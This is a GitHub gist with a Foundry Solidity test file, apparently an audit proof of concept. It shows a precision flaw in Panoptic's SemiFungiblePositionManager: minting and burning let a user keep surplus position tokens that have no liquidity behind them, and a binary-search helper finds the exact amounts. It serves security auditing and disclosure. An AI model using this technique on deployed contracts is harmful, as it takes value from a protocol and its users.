Skip to content

Instantly share code, notes, and snippets.

@ustas-eth
Created December 3, 2023 11:08
Show Gist options
  • Save ustas-eth/e56c5cd27e91e0d02a06bcd0d495462a to your computer and use it in GitHub Desktop.
Save ustas-eth/e56c5cd27e91e0d02a06bcd0d495462a to your computer and use it in GitHub Desktop.
PoC with lack of precision for Panoptic
// Place this file in ./test/foundry/Audit.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "./core/SemiFungiblePositionManager.t.sol";
import "./libraries/Math.t.sol";
import {IERC20Partial} from "@testUtils/IERC20Partial.sol";
contract AuditTestSFPM is SemiFungiblePositionManagerTest {
using TokenId for uint256;
using LeftRight for uint256;
using LeftRight for uint128;
using LeftRight for int256;
// example output of test_audit_CheckPrecisionInMath()
uint256 auditAmount = 1000000000000044890;
uint256 auditDiff = 53282; // this is the amount of `ghost` free tokens a user can get
int24 auditStrike = 200_000;
// 1. Run with `forge test --match-test test_audit_Dup -vvv` to start all three together
// 2. See logs
//
// I use three different tests because I need a clean state with the same `currentTick` from Uniswap
// The results will be different if you run the command two times in a row
// Perhaps I should have used snapshots, though, but this approach is easier to read :)
function test_audit_Duplicate1() public {
_initPool(0);
console.logInt(currentTick);
uint256 tokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 1, 0, 0, 0, auditStrike, 4090);
mintFrom(Alice, tokenId, auditAmount); // `x` amount of liquidity received
// you can get your tokens back and keep `auditDiff` without liquidity
burnFrom(Alice, tokenId, auditAmount - auditDiff);
// or transfer `x` and keep the `auditDiff`
// sfpm.safeTransferFrom(Alice, address(911), tokenId, auditAmount - auditDiff, hex"");
}
function test_audit_Duplicate2() public {
_initPool(0);
console.logInt(currentTick);
uint256 tokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 1, 0, 0, 0, auditStrike, 4090);
// the same `x` amount of liquidity for the same price, but with lesser number of SFPM tokens
mintFrom(Alice, tokenId, auditAmount - auditDiff);
burnFrom(Alice, tokenId, auditAmount - auditDiff);
}
function test_audit_Duplicate3() public {
_initPool(0);
console.logInt(currentTick);
uint256 tokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 1, 0, 0, 0, auditStrike, 4090);
// `x - 1` amount of liquidity
mintFrom(Alice, tokenId, auditAmount - auditDiff - 1);
burnFrom(Alice, tokenId, auditAmount - auditDiff - 1);
}
function mintFrom(address minter, uint256 tokenId, uint256 amount) internal {
changePrank(minter);
console.log("Minting...", minter);
uint256 balance0Before = IERC20Partial(token0).balanceOf(minter);
uint256 balance1Before = IERC20Partial(token1).balanceOf(minter);
sfpm.mintTokenizedPosition(tokenId, uint128(amount), TickMath.MIN_TICK, TickMath.MAX_TICK);
uint256 balance0After = IERC20Partial(token0).balanceOf(minter);
uint256 balance1After = IERC20Partial(token1).balanceOf(minter);
console.log("Token0: ");
console.logInt(int256(balance0After) - int256(balance0Before));
console.log("Token1: ");
console.logInt(int256(balance1After) - int256(balance1Before));
(int24 legLowerTick, int24 legUpperTick) = tokenId.asTicks(0, 10);
uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), minter, 0, legLowerTick, legUpperTick);
console.log("Removed liq: ", accountLiquidities.leftSlot());
console.log("Added liq: ", accountLiquidities.rightSlot());
console.log("SFPM: ", sfpm.balanceOf(minter, tokenId));
console.log("");
}
function burnFrom(address minter, uint256 tokenId, uint256 amount) internal {
changePrank(minter);
console.log("Burning...", minter);
uint256 balance0Before = IERC20Partial(token0).balanceOf(minter);
uint256 balance1Before = IERC20Partial(token1).balanceOf(minter);
sfpm.burnTokenizedPosition(tokenId, uint128(amount), TickMath.MIN_TICK, TickMath.MAX_TICK);
uint256 balance0After = IERC20Partial(token0).balanceOf(minter);
uint256 balance1After = IERC20Partial(token1).balanceOf(minter);
console.log("Token0: ");
console.logInt(int256(balance0After) - int256(balance0Before));
console.log("Token1: ");
console.logInt(int256(balance1After) - int256(balance1Before));
(int24 legLowerTick, int24 legUpperTick) = tokenId.asTicks(0, 10);
uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), minter, 0, legLowerTick, legUpperTick);
console.log("Removed liq: ", accountLiquidities.leftSlot());
console.log("Added liq: ", accountLiquidities.rightSlot());
console.log("SFPM: ", sfpm.balanceOf(minter, tokenId));
console.log("");
}
}
contract AuditTestMath is MathTest {
using LiquidityChunk for uint256;
// Helper function
// It will:
// 1. Find the amount of liquidity that you can get from the specified amount of `SFPM` tokens to mint
// 2. Find the minimum and maximum amounts of `SFPM` tokens you can use to get the same liquidity
function test_audit_CheckPrecisionInMath() public {
uint256 amount = 1 ether;
int24 strike = 200_000;
uint256 chunk = uint256(0).addTickLower(strike - 20450).addTickUpper(strike + 20450);
(uint256 iMin, uint256 resultMin) = getMinAmountForLiq(amount, chunk);
console.log("steps", iMin);
console.log(resultMin);
(uint256 iMax, uint256 resultMax) = getMaxAmountForLiq(amount, chunk);
console.log("steps", iMax);
console.log(resultMax);
console.log("Diff", resultMax - resultMin);
}
function getMinAmountForLiq(uint256 amount, uint256 chunk) internal returns (uint256 i, uint256 result) {
uint256 target = harness.getLiquidityForAmount1(chunk, amount);
uint256 min = 0;
uint256 max = 10 ** 24;
if (harness.getLiquidityForAmount1(chunk, max) <= target) revert("Invalid max");
for (i = 0; i < 1000; i++) {
uint256 amount = min + (max - min) / 2;
if (
harness.getLiquidityForAmount1(chunk, amount) == target
&& harness.getLiquidityForAmount1(chunk, amount - 1) != target
) {
result = amount;
break;
}
if (harness.getLiquidityForAmount1(chunk, amount) < target) {
min = amount;
} else {
max = amount;
}
}
}
function getMaxAmountForLiq(uint256 amount, uint256 chunk) internal returns (uint256 i, uint256 result) {
uint256 target = harness.getLiquidityForAmount1(chunk, amount);
uint256 min = 0;
uint256 max = 10 ** 24;
if (harness.getLiquidityForAmount1(chunk, max) <= target) revert("Invalid max");
for (; i < 1000; i++) {
uint256 amount = min + (max - min) / 2;
if (
harness.getLiquidityForAmount1(chunk, amount) == target
&& harness.getLiquidityForAmount1(chunk, amount + 1) != target
) {
result = amount;
break;
}
if (harness.getLiquidityForAmount1(chunk, amount) <= target) {
min = amount;
} else {
max = amount;
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment